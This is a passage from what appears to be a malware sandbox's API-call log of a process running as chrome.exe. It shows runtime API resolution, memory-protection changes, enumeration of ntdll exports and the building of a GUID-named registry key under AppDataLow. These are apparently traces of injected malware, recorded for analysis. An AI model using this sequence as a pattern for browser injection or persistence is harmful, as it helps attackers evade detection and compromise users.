ProcedureAddress=0x27f070*=0x77062bb0) returned 0x0 [0079.013] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcmpiW", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77051930) returned 0x0 [0079.013] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="RaiseException", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7704cf10) returned 0x0 [0079.013] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="Process32FirstW", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77041e00) returned 0x0 [0079.013] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="Process32NextW", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770420f0) returned 0x0 [0079.013] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ExpandEnvironmentStringsA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770480a0) returned 0x0 [0079.013] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="QueueUserWorkItem", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77051370) returned 0x0 [0079.014] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FileTimeToLocalFileTime", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7704b210) returned 0x0 [0079.014] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateWaitableTimerA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770a0da0) returned 0x0 [0079.014] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateProcessA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770d8840) returned 0x0 [0079.014] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="VirtualProtectEx", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7708bb70) returned 0x0 [0079.014] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="AVIFIL32.dll", BaseAddress=0x27f088 | out: BaseAddress=0x27f088*=0x7fef87e0000) returned 0x0 [0079.026] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIFileExit", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7fef87e6f58) returned 0x0 [0079.026] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIMakeCompressedStream", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7fef87e7d88) returned 0x0 [0079.026] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIStreamRelease", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7fef87e761c) returned 0x0 [0079.027] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIFileRelease", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7fef87e761c) returned 0x0 [0079.027] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIStreamWrite", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7fef87e7848) returned 0x0 [0079.027] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIFileOpenA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7fef87e7364) returned 0x0 [0079.027] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIFileCreateStreamA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7fef87e7568) returned 0x0 [0079.027] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIStreamSetFormat", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7fef87e77e0) returned 0x0 [0079.027] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIFileInit", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7fef87e6f2c) returned 0x0 [0079.027] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x27f078*=0x1da0000, NumberOfBytesToProtect=0x27f080, NewAccessProtection=0x4, OldAccessProtection=0x27f070 | out: BaseAddress=0x27f078*=0x1da0000, NumberOfBytesToProtect=0x27f080, OldAccessProtection=0x27f070*=0x40) returned 0x0 [0079.027] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x27f010*=0x1da1000, NumberOfBytesToProtect=0x27f080, NewAccessProtection=0x20, OldAccessProtection=0x27f070 | out: BaseAddress=0x27f010*=0x1da1000, NumberOfBytesToProtect=0x27f080, OldAccessProtection=0x27f070*=0x40) returned 0x0 [0079.048] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x27f010*=0x1dda000, NumberOfBytesToProtect=0x27f080, NewAccessProtection=0x2, OldAccessProtection=0x27f070 | out: BaseAddress=0x27f010*=0x1dda000, NumberOfBytesToProtect=0x27f080, OldAccessProtection=0x27f070*=0x40) returned 0x0 [0079.049] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x27f010*=0x1e04000, NumberOfBytesToProtect=0x27f080, NewAccessProtection=0x4, OldAccessProtection=0x27f070 | out: BaseAddress=0x27f010*=0x1e04000, NumberOfBytesToProtect=0x27f080, OldAccessProtection=0x27f070*=0x40) returned 0x0 [0079.049] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x27f010*=0x1e09000, NumberOfBytesToProtect=0x27f080, NewAccessProtection=0x2, OldAccessProtection=0x27f070 | out: BaseAddress=0x27f010*=0x1e09000, NumberOfBytesToProtect=0x27f080, OldAccessProtection=0x27f070*=0x40) returned 0x0 [0079.049] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x27f010*=0x1e0b000, NumberOfBytesToProtect=0x27f080, NewAccessProtection=0x4, OldAccessProtection=0x27f070 | out: BaseAddress=0x27f010*=0x1e0b000, NumberOfBytesToProtect=0x27f080, OldAccessProtection=0x27f070*=0x40) returned 0x0 [0079.049] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x27f010*=0x1e0d000, NumberOfBytesToProtect=0x27f080, NewAccessProtection=0x2, OldAccessProtection=0x27f070 | out: BaseAddress=0x27f010*=0x1e0d000, NumberOfBytesToProtect=0x27f080, OldAccessProtection=0x27f070*=0x40) returned 0x0 [0079.050] HeapCreate (flOptions=0x0, dwInitialSize=0x400000, dwMaximumSize=0x0) returned 0x2020000 [0079.059] GetTickCount () returned 0x21f52 [0079.059] GetModuleHandleA (lpModuleName=0x0) returned 0x13f510000 [0079.059] GetVersion () returned 0x1db10106 [0079.059] GetCurrentProcessId () returned 0xbd4 [0079.059] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xa8 [0079.059] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x208) returned 0x241d2f0 [0079.060] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x241d2f0, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe")) returned 0x3b [0079.060] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1800) returned 0x241d500 [0079.060] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241d500 | out: hHeap=0x2020000) returned 1 [0079.060] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0079.061] GetProcAddress (hModule=0x77040000, lpProcName="IsWow64Process") returned 0x770491d0 [0079.061] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xbd4) returned 0xb0 [0079.061] IsWow64Process (in: hProcess=0xb0, Wow64Process=0x27ef70 | out: Wow64Process=0x27ef70) returned 1 [0079.061] CloseHandle (hObject=0xb0) returned 1 [0079.061] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77160000 [0079.061] lstrlenA (lpString="A_SHAFinal") returned 10 [0079.061] lstrlenA (lpString="A_SHAInit") returned 9 [0079.061] lstrlenA (lpString="A_SHAUpdate") returned 11 [0079.061] lstrlenA (lpString="AlpcAdjustCompletionListConcurrencyCount") returned 40 [0079.061] lstrlenA (lpString="AlpcFreeCompletionListMessage") returned 29 [0079.061] lstrlenA (lpString="AlpcGetCompletionListLastMessageInformation") returned 43 [0079.061] lstrlenA (lpString="AlpcGetCompletionListMessageAttributes") returned 38 [0079.061] lstrlenA (lpString="AlpcGetHeaderSize") returned 17 [0079.061] lstrlenA (lpString="AlpcGetMessageAttribute") returned 23 [0079.061] lstrlenA (lpString="AlpcGetMessageFromCompletionList") returned 32 [0079.061] lstrlenA (lpString="AlpcGetOutstandingCompletionListMessageCount") returned 44 [0079.061] lstrlenA (lpString="AlpcInitializeMessageAttribute") returned 30 [0079.061] lstrlenA (lpString="AlpcMaxAllowedMessageLength") returned 27 [0079.061] lstrlenA (lpString="AlpcRegisterCompletionList") returned 26 [0079.061] lstrlenA (lpString="AlpcRegisterCompletionListWorkerThread") returned 38 [0079.061] lstrlenA (lpString="AlpcRundownCompletionList") returned 25 [0079.062] lstrlenA (lpString="AlpcUnregisterCompletionList") returned 28 [0079.062] lstrlenA (lpString="AlpcUnregisterCompletionListWorkerThread") returned 40 [0079.062] lstrlenA (lpString="CsrAllocateCaptureBuffer") returned 24 [0079.062] lstrlenA (lpString="CsrAllocateMessagePointer") returned 25 [0079.062] lstrlenA (lpString="CsrCaptureMessageBuffer") returned 23 [0079.062] lstrlenA (lpString="CsrCaptureMessageMultiUnicodeStringsInPlace") returned 43 [0079.062] lstrlenA (lpString="CsrCaptureMessageString") returned 23 [0079.062] lstrlenA (lpString="CsrCaptureTimeout") returned 17 [0079.062] lstrlenA (lpString="CsrClientCallServer") returned 19 [0079.062] lstrlenA (lpString="CsrClientConnectToServer") returned 24 [0079.062] lstrlenA (lpString="CsrFreeCaptureBuffer") returned 20 [0079.062] lstrlenA (lpString="CsrGetProcessId") returned 15 [0079.062] lstrlenA (lpString="CsrIdentifyAlertableThread") returned 26 [0079.062] lstrlenA (lpString="CsrSetPriorityClass") returned 19 [0079.062] lstrlenA (lpString="CsrVerifyRegion") returned 15 [0079.062] lstrlenA (lpString="DbgBreakPoint") returned 13 [0079.062] lstrlenA (lpString="DbgPrint") returned 8 [0079.062] lstrlenA (lpString="DbgPrintEx") returned 10 [0079.062] lstrlenA (lpString="DbgPrintReturnControlC") returned 22 [0079.062] lstrlenA (lpString="DbgPrompt") returned 9 [0079.062] lstrlenA (lpString="DbgQueryDebugFilterState") returned 24 [0079.062] lstrlenA (lpString="DbgSetDebugFilterState") returned 22 [0079.062] lstrlenA (lpString="DbgUiConnectToDbg") returned 17 [0079.062] lstrlenA (lpString="DbgUiContinue") returned 13 [0079.062] lstrlenA (lpString="DbgUiConvertStateChangeStructure") returned 32 [0079.062] lstrlenA (lpString="DbgUiDebugActiveProcess") returned 23 [0079.062] lstrlenA (lpString="DbgUiGetThreadDebugObject") returned 25 [0079.062] lstrlenA (lpString="DbgUiIssueRemoteBreakin") returned 23 [0079.062] lstrlenA (lpString="DbgUiRemoteBreakin") returned 18 [0079.062] lstrlenA (lpString="DbgUiSetThreadDebugObject") returned 25 [0079.062] lstrlenA (lpString="DbgUiStopDebugging") returned 18 [0079.062] lstrlenA (lpString="DbgUiWaitStateChange") returned 20 [0079.062] lstrlenA (lpString="DbgUserBreakPoint") returned 17 [0079.062] lstrlenA (lpString="EtwCreateTraceInstanceId") returned 24 [0079.062] lstrlenA (lpString="EtwDeliverDataBlock") returned 19 [0079.062] lstrlenA (lpString="EtwEnumerateProcessRegGuids") returned 27 [0079.062] lstrlenA (lpString="EtwEventActivityIdControl") returned 25 [0079.062] lstrlenA (lpString="EtwEventEnabled") returned 15 [0079.062] lstrlenA (lpString="EtwEventProviderEnabled") returned 23 [0079.062] lstrlenA (lpString="EtwEventRegister") returned 16 [0079.063] lstrlenA (lpString="EtwEventUnregister") returned 18 [0079.063] lstrlenA (lpString="EtwEventWrite") returned 13 [0079.063] lstrlenA (lpString="EtwEventWriteEndScenario") returned 24 [0079.063] lstrlenA (lpString="EtwEventWriteEx") returned 15 [0079.063] lstrlenA (lpString="EtwEventWriteFull") returned 17 [0079.063] lstrlenA (lpString="EtwEventWriteNoRegistration") returned 27 [0079.063] lstrlenA (lpString="EtwEventWriteStartScenario") returned 26 [0079.063] lstrlenA (lpString="EtwEventWriteString") returned 19 [0079.063] lstrlenA (lpString="EtwEventWriteTransfer") returned 21 [0079.063] lstrlenA (lpString="EtwGetTraceEnableFlags") returned 22 [0079.063] lstrlenA (lpString="EtwGetTraceEnableLevel") returned 22 [0079.063] lstrlenA (lpString="EtwGetTraceLoggerHandle") returned 23 [0079.063] lstrlenA (lpString="EtwLogTraceEvent") returned 16 [0079.063] lstrlenA (lpString="EtwNotificationRegister") returned 23 [0079.063] lstrlenA (lpString="EtwNotificationUnregister") returned 25 [0079.063] lstrlenA (lpString="EtwProcessPrivateLoggerRequest") returned 30 [0079.063] lstrlenA (lpString="EtwRegisterSecurityProvider") returned 27 [0079.063] lstrlenA (lpString="EtwRegisterTraceGuidsA") returned 22 [0079.063] lstrlenA (lpString="EtwRegisterTraceGuidsW") returned 22 [0079.063] lstrlenA (lpString="EtwReplyNotification") returned 20 [0079.063] lstrlenA (lpString="EtwSendNotification") returned 19 [0079.063] lstrlenA (lpString="EtwSetMark") returned 10 [0079.063] lstrlenA (lpString="EtwTraceEventInstance") returned 21 [0079.063] lstrlenA (lpString="EtwTraceMessage") returned 15 [0079.063] lstrlenA (lpString="EtwTraceMessageVa") returned 17 [0079.063] lstrlenA (lpString="EtwUnregisterTraceGuids") returned 23 [0079.063] lstrlenA (lpString="EtwWriteUMSecurityEvent") returned 23 [0079.063] lstrlenA (lpString="EtwpCreateEtwThread") returned 19 [0079.063] lstrlenA (lpString="EtwpGetCpuSpeed") returned 15 [0079.063] lstrlenA (lpString="EtwpNotificationThread") returned 22 [0079.063] lstrlenA (lpString="EvtIntReportAuthzEventAndSourceAsync") returned 36 [0079.063] lstrlenA (lpString="EvtIntReportEventAndSourceAsync") returned 31 [0079.063] lstrlenA (lpString="ExpInterlockedPopEntrySListEnd") returned 30 [0079.063] lstrlenA (lpString="ExpInterlockedPopEntrySListEnd16") returned 32 [0079.063] lstrlenA (lpString="ExpInterlockedPopEntrySListFault") returned 32 [0079.063] lstrlenA (lpString="ExpInterlockedPopEntrySListFault16") returned 34 [0079.063] lstrlenA (lpString="ExpInterlockedPopEntrySListResume") returned 33 [0079.063] lstrlenA (lpString="ExpInterlockedPopEntrySListResume16") returned 35 [0079.063] lstrlenA (lpString="KiRaiseUserExceptionDispatcher") returned 30 [0079.063] lstrlenA (lpString="KiUserApcDispatcher") returned 19 [0079.063] lstrlenA (lpString="KiUserCallbackDispatcher") returned 24 [0079.063] lstrlenA (lpString="KiUserExceptionDispatcher") returned 25 [0079.064] lstrlenA (lpString="LdrAccessResource") returned 17 [0079.064] lstrlenA (lpString="LdrAddLoadAsDataTable") returned 21 [0079.064] lstrlenA (lpString="LdrAddRefDll") returned 12 [0079.064] lstrlenA (lpString="LdrDisableThreadCalloutsForDll") returned 30 [0079.064] lstrlenA (lpString="LdrEnumResources") returned 16 [0079.064] lstrlenA (lpString="LdrEnumerateLoadedModules") returned 25 [0079.064] lstrlenA (lpString="LdrFindEntryForAddress") returned 22 [0079.064] lstrlenA (lpString="LdrFindResourceDirectory_U") returned 26 [0079.064] lstrlenA (lpString="LdrFindResourceEx_U") returned 19 [0079.064] lstrlenA (lpString="LdrFindResource_U") returned 17 [0079.064] lstrlenA (lpString="LdrFlushAlternateResourceModules") returned 32 [0079.064] lstrlenA (lpString="LdrGetDllHandle") returned 15 [0079.064] lstrlenA (lpString="LdrGetDllHandleByMapping") returned 24 [0079.064] lstrlenA (lpString="LdrGetDllHandleByName") returned 21 [0079.064] lstrlenA (lpString="LdrGetDllHandleEx") returned 17 [0079.064] lstrlenA (lpString="LdrGetFailureData") returned 17 [0079.064] lstrlenA (lpString="LdrGetFileNameFromLoadAsDataTable") returned 33 [0079.064] lstrlenA (lpString="LdrGetKnownDllSectionHandle") returned 27 [0079.064] lstrlenA (lpString="LdrGetProcedureAddress") returned 22 [0079.064] lstrlenA (lpString="LdrGetProcedureAddressEx") returned 24 [0079.064] lstrlenA (lpString="LdrHotPatchRoutine") returned 18 [0079.064] lstrlenA (lpString="LdrInitShimEngineDynamic") returned 24 [0079.064] lstrlenA (lpString="LdrInitializeThunk") returned 18 [0079.064] lstrlenA (lpString="LdrLoadAlternateResourceModule") returned 30 [0079.064] lstrlenA (lpString="LdrLoadAlternateResourceModuleEx") returned 32 [0079.064] lstrlenA (lpString="LdrLoadDll") returned 10 [0079.064] lstrlenA (lpString="LdrLockLoaderLock") returned 17 [0079.064] lstrlenA (lpString="LdrOpenImageFileOptionsKey") returned 26 [0079.064] lstrlenA (lpString="LdrProcessInitializationComplete") returned 32 [0079.064] lstrlenA (lpString="LdrProcessRelocationBlock") returned 25 [0079.064] lstrlenA (lpString="LdrQueryImageFileExecutionOptions") returned 33 [0079.064] lstrlenA (lpString="LdrQueryImageFileExecutionOptionsEx") returned 35 [0079.064] lstrlenA (lpString="LdrQueryImageFileKeyOption") returned 26 [0079.064] lstrlenA (lpString="LdrQueryModuleServiceTags") returned 25 [0079.064] lstrlenA (lpString="LdrQueryProcessModuleInformation") returned 32 [0079.064] lstrlenA (lpString="LdrRegisterDllNotification") returned 26 [0079.064] lstrlenA (lpString="LdrRemoveLoadAsDataTable") returned 24 [0079.064] lstrlenA (lpString="LdrResFindResource") returned 18 [0079.064] lstrlenA (lpString="LdrResFindResourceDirectory") returned 27 [0079.064] lstrlenA (lpString="LdrResGetRCConfig") returned 17 [0079.064] lstrlenA (lpString="LdrResRelease") returned 13 [0079.065] lstrlenA (lpString="LdrResSearchResource") returned 20 [0079.065] lstrlenA (lpString="LdrRscIsTypeExist") returned 17 [0079.065] lstrlenA (lpString="LdrSetAppCompatDllRedirectionCallback") returned 37 [0079.065] lstrlenA (lpString="LdrSetDllManifestProber") returned 23 [0079.065] lstrlenA (lpString="LdrSetMUICacheType") returned 18 [0079.065] lstrlenA (lpString="LdrShutdownProcess") returned 18 [0079.065] lstrlenA (lpString="LdrShutdownThread") returned 17 [0079.065] lstrlenA (lpString="LdrUnloadAlternateResourceModule") returned 32 [0079.065] lstrlenA (lpString="LdrUnloadAlternateResourceModuleEx") returned 34 [0079.065] lstrlenA (lpString="LdrUnloadDll") returned 12 [0079.065] lstrlenA (lpString="LdrUnlockLoaderLock") returned 19 [0079.065] lstrlenA (lpString="LdrUnregisterDllNotification") returned 28 [0079.065] lstrlenA (lpString="LdrVerifyImageMatchesChecksum") returned 29 [0079.065] lstrlenA (lpString="LdrVerifyImageMatchesChecksumEx") returned 31 [0079.065] lstrlenA (lpString="LdrpResGetMappingSize") returned 21 [0079.065] lstrlenA (lpString="LdrpResGetResourceDirectory") returned 27 [0079.065] lstrlenA (lpString="MD4Final") returned 8 [0079.065] lstrlenA (lpString="MD4Init") returned 7 [0079.065] lstrlenA (lpString="MD4Update") returned 9 [0079.065] lstrlenA (lpString="MD5Final") returned 8 [0079.065] lstrlenA (lpString="MD5Init") returned 7 [0079.065] lstrlenA (lpString="MD5Update") returned 9 [0079.065] lstrlenA (lpString="NlsAnsiCodePage") returned 15 [0079.065] lstrlenA (lpString="NlsMbCodePageTag") returned 16 [0079.065] lstrlenA (lpString="NlsMbOemCodePageTag") returned 19 [0079.065] lstrlenA (lpString="NtAcceptConnectPort") returned 19 [0079.065] lstrlenA (lpString="NtAccessCheck") returned 13 [0079.065] lstrlenA (lpString="NtAccessCheckAndAuditAlarm") returned 26 [0079.065] lstrlenA (lpString="NtAccessCheckByType") returned 19 [0079.065] lstrlenA (lpString="NtAccessCheckByTypeAndAuditAlarm") returned 32 [0079.065] lstrlenA (lpString="NtAccessCheckByTypeResultList") returned 29 [0079.065] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarm") returned 42 [0079.065] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarmByHandle") returned 50 [0079.065] lstrlenA (lpString="NtAddAtom") returned 9 [0079.065] lstrlenA (lpString="NtAddBootEntry") returned 14 [0079.065] lstrlenA (lpString="NtAddDriverEntry") returned 16 [0079.065] lstrlenA (lpString="NtAdjustGroupsToken") returned 19 [0079.065] lstrlenA (lpString="NtAdjustPrivilegesToken") returned 23 [0079.065] lstrlenA (lpString="NtAlertResumeThread") returned 19 [0079.066] lstrlenA (lpString="NtAlertThread") returned 13 [0079.066] lstrlenA (lpString="NtAllocateLocallyUniqueId") returned 25 [0079.066] lstrlenA (lpString="NtAllocateReserveObject") returned 23 [0079.066] lstrlenA (lpString="NtAllocateUserPhysicalPages") returned 27 [0079.066] lstrlenA (lpString="NtAllocateUuids") returned 15 [0079.066] lstrlenA (lpString="NtAllocateVirtualMemory") returned 23 [0079.066] lstrlenA (lpString="NtAlpcAcceptConnectPort") returned 23 [0079.066] lstrlenA (lpString="NtAlpcCancelMessage") returned 19 [0079.066] lstrlenA (lpString="NtAlpcConnectPort") returned 17 [0079.066] lstrlenA (lpString="NtAlpcCreatePort") returned 16 [0079.066] lstrlenA (lpString="NtAlpcCreatePortSection") returned 23 [0079.066] lstrlenA (lpString="NtAlpcCreateResourceReserve") returned 27 [0079.066] lstrlenA (lpString="NtAlpcCreateSectionView") returned 23 [0079.066] lstrlenA (lpString="NtAlpcCreateSecurityContext") returned 27 [0079.066] lstrlenA (lpString="NtAlpcDeletePortSection") returned 23 [0079.066] lstrlenA (lpString="NtAlpcDeleteResourceReserve") returned 27 [0079.066] lstrlenA (lpString="NtAlpcDeleteSectionView") returned 23 [0079.066] lstrlenA (lpString="NtAlpcDeleteSecurityContext") returned 27 [0079.066] lstrlenA (lpString="NtAlpcDisconnectPort") returned 20 [0079.066] lstrlenA (lpString="NtAlpcImpersonateClientOfPort") returned 29 [0079.066] lstrlenA (lpString="NtAlpcOpenSenderProcess") returned 23 [0079.066] lstrlenA (lpString="NtAlpcOpenSenderThread") returned 22 [0079.066] lstrlenA (lpString="NtAlpcQueryInformation") returned 22 [0079.066] lstrlenA (lpString="NtAlpcQueryInformationMessage") returned 29 [0079.066] lstrlenA (lpString="NtAlpcRevokeSecurityContext") returned 27 [0079.066] lstrlenA (lpString="NtAlpcSendWaitReceivePort") returned 25 [0079.066] lstrlenA (lpString="NtAlpcSetInformation") returned 20 [0079.066] lstrlenA (lpString="NtApphelpCacheControl") returned 21 [0079.066] lstrlenA (lpString="NtAreMappedFilesTheSame") returned 23 [0079.066] lstrlenA (lpString="NtAssignProcessToJobObject") returned 26 [0079.066] lstrlenA (lpString="NtCallbackReturn") returned 16 [0079.066] lstrlenA (lpString="NtCancelIoFile") returned 14 [0079.066] lstrlenA (lpString="NtCancelIoFileEx") returned 16 [0079.066] lstrlenA (lpString="NtCancelSynchronousIoFile") returned 25 [0079.066] lstrlenA (lpString="NtCancelTimer") returned 13 [0079.066] lstrlenA (lpString="NtClearEvent") returned 12 [0079.066] lstrlenA (lpString="NtClose") returned 7 [0079.066] lstrlenA (lpString="NtCloseObjectAuditAlarm") returned 23 [0079.066] lstrlenA (lpString="NtCommitComplete") returned 16 [0079.066] lstrlenA (lpString="NtCommitEnlistment") returned 18 [0079.066] lstrlenA (lpString="NtCommitTransaction") returned 19 [0079.067] lstrlenA (lpString="NtCompactKeys") returned 13 [0079.067] lstrlenA (lpString="NtCompareTokens") returned 15 [0079.067] lstrlenA (lpString="NtCompleteConnectPort") returned 21 [0079.067] lstrlenA (lpString="NtCompressKey") returned 13 [0079.067] lstrlenA (lpString="NtConnectPort") returned 13 [0079.067] lstrlenA (lpString="NtContinue") returned 10 [0079.067] lstrlenA (lpString="NtCreateDebugObject") returned 19 [0079.067] lstrlenA (lpString="NtCreateDirectoryObject") returned 23 [0079.067] lstrlenA (lpString="NtCreateEnlistment") returned 18 [0079.067] lstrlenA (lpString="NtCreateEvent") returned 13 [0079.067] lstrlenA (lpString="NtCreateEventPair") returned 17 [0079.067] lstrlenA (lpString="NtCreateFile") returned 12 [0079.067] lstrlenA (lpString="NtCreateIoCompletion") returned 20 [0079.067] lstrlenA (lpString="NtCreateJobObject") returned 17 [0079.067] lstrlenA (lpString="NtCreateJobSet") returned 14 [0079.067] lstrlenA (lpString="NtCreateKey") returned 11 [0079.067] lstrlenA (lpString="NtCreateKeyTransacted") returned 21 [0079.067] lstrlenA (lpString="NtCreateKeyedEvent") returned 18 [0079.067] lstrlenA (lpString="NtCreateMailslotFile") returned 20 [0079.067] lstrlenA (lpString="NtCreateMutant") returned 14 [0079.067] lstrlenA (lpString="NtCreateNamedPipeFile") returned 21 [0079.067] lstrlenA (lpString="NtCreatePagingFile") returned 18 [0079.067] lstrlenA (lpString="NtCreatePort") returned 12 [0079.067] lstrlenA (lpString="NtCreatePrivateNamespace") returned 24 [0079.067] lstrlenA (lpString="NtCreateProcess") returned 15 [0079.067] lstrlenA (lpString="NtCreateProcessEx") returned 17 [0079.067] lstrlenA (lpString="NtCreateProfile") returned 15 [0079.067] lstrlenA (lpString="NtCreateProfileEx") returned 17 [0079.067] lstrlenA (lpString="NtCreateResourceManager") returned 23 [0079.067] lstrlenA (lpString="NtCreateSection") returned 15 [0079.073] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x7fefd710000 [0079.073] GetProcAddress (hModule=0x7fefd710000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorA") returned 0x7fefd71d710 [0079.073] ConvertStringSecurityDescriptorToSecurityDescriptorA () returned 0x1 [0079.078] NtOpenProcess (in: ProcessHandle=0x27ef18, DesiredAccess=0x400, ObjectAttributes=0x27eeb0*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x27eea0*(UniqueProcess=0xbd4, UniqueThread=0x0) | out: ProcessHandle=0x27ef18*=0xcc) returned 0x0 [0079.078] NtOpenProcessToken (in: ProcessHandle=0xcc, DesiredAccess=0x8, TokenHandle=0x27ef10 | out: TokenHandle=0x27ef10*=0xd4) returned 0x0 [0079.078] NtQueryInformationToken (in: TokenHandle=0xd4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x27ef00 | out: TokenInformation=0x0, ReturnLength=0x27ef00) returned 0xc0000023 [0079.078] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x2c) returned 0x241d500 [0079.078] NtQueryInformationToken (in: TokenHandle=0xd4, TokenInformationClass=0x1, TokenInformation=0x241d500, TokenInformationLength=0x2c, ReturnLength=0x27ef00 | out: TokenInformation=0x241d500, ReturnLength=0x27ef00) returned 0x0 [0079.078] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241d500 | out: hHeap=0x2020000) returned 1 [0079.078] NtClose (Handle=0xd4) returned 0x0 [0079.078] NtClose (Handle=0xcc) returned 0x0 [0079.078] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x7fefd5c0000 [0079.078] GetProcAddress (hModule=0x7fefd5c0000, lpProcName="StrRChrA") returned 0x7fefd5c4c9c [0079.078] StrRChrA (lpStart="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpEnd=0x0, wMatch=0x5c) returned="\\chrome.exe" [0079.078] _strupr (in: _String=0x241d321 | out: _String="CHROME.EXE") returned="CHROME.EXE" [0079.078] lstrlenA (lpString="CHROME.EXE") returned 10 [0079.078] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x27) returned 0x241d500 [0079.078] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76f40000 [0079.079] GetProcAddress (hModule=0x76f40000, lpProcName="wsprintfA") returned 0x76fbbae8 [0079.079] wsprintfA (in: param_1=0x241d500, param_2="%08X-%04X-%04X-%04X-%08X%04X" | out: param_1="3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 36 [0079.079] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\") returned 39 [0079.079] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x4e) returned 0x241d530 [0079.079] lstrcpyA (in: lpString1=0x241d530, lpString2="Software\\AppDataLow\\Software\\Microsoft\\" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\") returned="Software\\AppDataLow\\Software\\Microsoft\\" [0079.079] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\", lpString2="3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0079.079] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241d500 | out: hHeap=0x2020000) returned 1 [0079.079] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0079.079] lstrlenA (lpString="\\Vr") 